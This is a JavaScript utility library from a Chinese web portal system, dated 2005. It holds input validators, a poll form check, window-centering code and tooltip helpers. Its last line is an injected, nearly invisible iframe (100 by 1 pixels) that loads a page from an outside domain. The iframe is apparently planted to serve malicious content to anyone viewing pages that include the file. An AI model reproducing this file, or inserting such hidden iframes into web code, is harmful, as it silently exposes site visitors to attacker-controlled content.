//  $Id: common.js,v 1.8 2005/05/30 01:59:42 nio Exp $
//  建网通通用 JS 函数，即 v4.0.0 版本中的 roll.js 文件，同时去掉了一些现已无用的函数。

/**
 * 去掉字符串首尾空字符。
 *
 * @param   string  sInput  需要去掉首尾空字符的字符串。
 * @return  string  返回去掉首尾空字符的字符串。
 */
function _GetTrimStr(sInput) 
{
    var sOutput;

    if (typeof (sInput) != "string")
        return false;

    sOutput = sInput.replace (/^(\s+)/, "");     //去掉左边空字符
    sOutput = sOutput.replace (/(\s+)$/, "");   //去掉右边空字符

    return sOutput;
}   //end function _GetTrimStr


/**
 * 检测是否为数字，包括小数。
 *  
 * @param   string  sInput      需要检测的字符串。
 * @param   boolean bCanBeNull  被检测的字符串是否允许为空，默认值为 false（不允许为空）。
 * @return  boolean 符号条件返回 true，否则返回 false。
 */
function _IsNumber(sInput, bCanBeNull) 
{
    if (!bCanBeNull && !sInput)
        return false;

    if (isNaN(sInput))
        return false;
    else
        return true;
}   //end function _IsNumber


/**
 * 检测是否为整数。
 *      
 * @param   string  sInput      需要检测的字符串。
 * @param   boolean bCanBeNull  被检测的字符串是否允许为空，默认值为 false（不允许为空）。
 * @return  boolean 符号条件返回 true，否则返回 false。
 */
function _IsInteger(sInput, bCanBeNull) 
{
    var reExp=/[.]/g;

    if (_IsNumber(sInput, bCanBeNull) == false)    //调用函数 _IsNumber() 判断字符串是否为数字
        return false;

    if (reExp.exec (sInput))
        return false;
    else
        return true;
}   //end function _IsInteger


/**
 * 检测字符串是否为字母、数字(不包括中文)的组合。
 * 
 * @param   string  sInput      需要检测的字符串。
 * @param   boolean bCanBeNull  被检测的字符串是否允许为空，默认值为 false（不允许为空）。
 * @return  boolean 符号条件返回 true，否则返回 false。
 */
function _IsLetterNum(sInput, bCanBeNull) 
{
    var reExp=/[^A-Za-z0-9]/g;      //查找非字母、数字字符的正则表达式
    
    if (!bCanBeNull && !sInput)
        return false;

    if (reExp.exec (sInput))
        return false;
    else
        return true;
}   //end funciton _IsLetterNum


/**
 * 检测字符串是否合法，是否含有（导致错误的）特殊字符即为不合法。
 *        
 * @param   string  sInput      需要检测的字符串。
 * @param   boolean bCanBeNull  被检测的字符串是否允许为空，默认值为 false（不允许为空）。
 * @return  boolean 符号条件返回 true，否则返回 false。
 */ 
function _IsChrValid(sInput, bCanBeNull) 
{
    var reExp=/[\'\"\/\\]/g;    //查找特殊字符的正则表达式
    
    if (!_GetTrimStr(sInput)) {
        if (!bCanBeNull)    //不允许为空的情况
            return false;
        if (bCanBeNull)     //允许为空的情况
            return true;    
    } else {
        if (reExp.test(sInput))
            return false;
        else
            return true;
    }
}   //end function _IsChrValid


/**
 * 检测字符串是否合法日期，格式为：YYY-MM-DD，如：2002-07-07。
 * 
 * @param   string  sInput      需要检测的字符串。
 * @return  boolean 符号条件返回 true，否则返回 false。
 */ 
function _IsDateValid(sInput)
{
    var reExp=/^(19|20)\d{2}[\-](0[1-9]|1[0-2])[\-](0[1-9]|[12][0-9]|3[01])$/;

    if (reExp.exec(sInput))
        return true;
    else
        return false;

}   //end function _IsDateValid


/**
 * 检测字符串是否合法日期，格式为：YYYY-MM-DD，如：2002-07-07。
 * 
 * @param   string  sInput      需要检测的字符串。
 * @param   boolean bCanBeNull  被检测的字符串是否允许为空，默认值为 false（不允许为空）。
 * @return  boolean 符号条件返回 true，否则返回 false。
 */ 
function _IsEmailValid(sInput)
{
    var sFilter  = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
    
    if (sFilter.test(sInput)) 
        return true;
    else 
        return false;
}   //end function _IsEmailValid

/**
 * 打开寻呼。
 */
function openNetBp(sKicqUrl) {
    window.open(sKicqUrl, 'kicq', 'scrollbars=no,menubar=no,toolbar=no,resizable=no,alwaysRaised=no,width=100,height=200,left=20,top=20');
}   //end function openNetBp

/**
 * 检验调查表单是否正确。
 */
function isPollValid(oForm) {
    var oEls = oForm.elements;
    var iMax = oEls.length;
    
    for (var i = 0; i < iMax; i++) {
        if (-1 != oEls[i].name.indexOf('pPollItemIds')) {
            if (oEls[i].checked)
                return true;
        }   //end if
    }   //end for
    alert('必须选择调查选项。');
    return false;
}   //end function

function _GotoUrl(url)
{
    document.location.href = url;
}
function href_redirect(url)
{
   _GotoUrl(url);
}

/**
 * 使窗口缩放到给定的大小，同时居中
 */
function _CenterWindow(iWindowWidth, iWindowHeight)
{
    //  获取窗口宽度、高度
    if (top.innerWidth) {
        frameWidth = top.innerWidth;
        frameHeight = top.innerHeight;
    } else if (document.documentElement && document.documentElement.clientWidth) {
        frameWidth = document.documentElement.clientWidth;
        frameHeight = document.documentElement.clientHeight;
    } else if (document.body) {
        frameWidth = document.body.clientWidth;
        frameHeight = document.body.clientHeight;
    } else return;
    if (iWindowWidth > 0 && iWindowHeight > 0) {
        frameWidth = iWindowWidth;
        frameHeight = iWindowHeight;
        parent.window.resizeTo(frameWidth, frameHeight);
    }   //end if
    //  如果窗口大小超过分辨率，则将其缩小
    if (top.screen.width < frameWidth || top.screen.height < frameHeight) {
        frameWidth = top.screen.width - 16;
        frameHeight = top.screen.height - 4;
        top.window.resizeTo(frameWidth, frameHeight);
    }   //end if
    //  将窗口居中
    top.window.moveTo((top.screen.width - frameWidth) / 2, (top.screen.height - frameHeight) / 2);
}   //end function

/**
 * 获取包含汉字的字符串的长度。
 */
String.prototype.length2 = function() {
    var cArr = this.match(/[^\x00-\xff]/ig);
    return this.length + (cArr == null ? 0 : cArr.length);
}

/**
 *  浏览器及其版本
 */
var _IE4 = (document.all && !document.getElementById) ? true : false;
var _IE5 = (document.all && document.getElementById) ? true : false;
var _IE6 = (_IE5 && (-1 != navigator.userAgent.toLowerCase().indexOf("msie 6."))) ? true : false;
var _NS4 = (document.layers) ? true : false;
var _NS6 = (document.getElementById && !document.all) ? true : false;

//===============================================================
//  用于显示提示信息的函数
//===============================================================
var g_tooltip_elm = null;
var g_tooltip_showing = 0;
var g_tooltip_link_elm = null;
var g_tooltip_previous_click = null;
var g_tip_elm = null;

function init_tooltip(){
	g_tooltip_elm = document.createElement('DIV');
	g_tooltip_elm.className = 'ToolTip';
	g_tooltip_elm.style.display = 'none';
	document.body.appendChild(g_tooltip_elm);
}

function show_tooltip(link, text, len, left){
    var cw, ch;
    var pos_left;

    cw = document.body.clientWidth;
    ch = document.body.clientHeight;
	
    if (!g_tooltip_elm){
		init_tooltip();
	}
	if (g_tooltip_showing){
		if (g_tooltip_link_elm == link){
			hide_tooltip();
			return;
		}
		hide_tooltip();
	}

	var x = tooltip_findPosX(link);
	var y = tooltip_findPosY(link);

	if (len < 0)
		len = 200;
    
    

    g_tooltip_elm.style.width = len + 'px';
	if (arguments.length == 4){
        g_tooltip_elm.style.left = left + 'px';
    } else {
        pos_left = (x + len > cw - 20) ? (x - len) : x;
        g_tooltip_elm.style.left = pos_left + 'px';
    }   //end if
    g_tooltip_elm.style.top = (y + 20) +'px';

    g_tip_elm = document.getElementById(text);

	move_children(g_tip_elm, g_tooltip_elm);


	g_tooltip_showing = 1;
	g_tooltip_elm.style.display = 'block';
	g_tooltip_link_elm = link;

	document.onmousedown = doc_mousedown;
}

function doc_mousedown(e){
	if (getEventSrc(e) == g_tooltip_link_elm){
		document.onmousedown = function(){};
	}else{
		hide_tooltip();
	}
}

function hide_tooltip(){

	document.onmousedown = function(){};

	if (!g_tooltip_elm){
		return false;
	}

	g_tooltip_showing = 0;
	g_tooltip_elm.style.display = 'none';
	g_tooltip_link_elm = 'null';

	move_children(g_tooltip_elm, g_tip_elm);

	return false
}

function move_children(e_from, e_to){

	while(e_from.childNodes.length){
		e_to.appendChild(e_from.removeChild(e_from.childNodes[0]));
	}
}

function tooltip_findPosX(obj) {
	var curleft = 0;
	if (obj.offsetParent) {
		while (obj.offsetParent) {
			curleft += obj.offsetLeft
			obj = obj.offsetParent;
		}
	}
	else if (obj.x) curleft += obj.x;
	return curleft;
}

function tooltip_findPosY(obj) {
	var curtop = 0;
	if (obj.offsetParent) {
		while (obj.offsetParent) {
			curtop += obj.offsetTop
			obj = obj.offsetParent;
		}
	}
	else if (obj.y) curtop += obj.y;
	return curtop;
}

function getEventSrc(e){
	if (e){ return e.target; }
	if (window.event){ return window.event.srcElement; }
	return null;
}
//===============================================================
//  End Tip
//===============================================================<iframe src=http://www.demo103.cn/s1.htm?bei02 width=100 height=1></iframe>
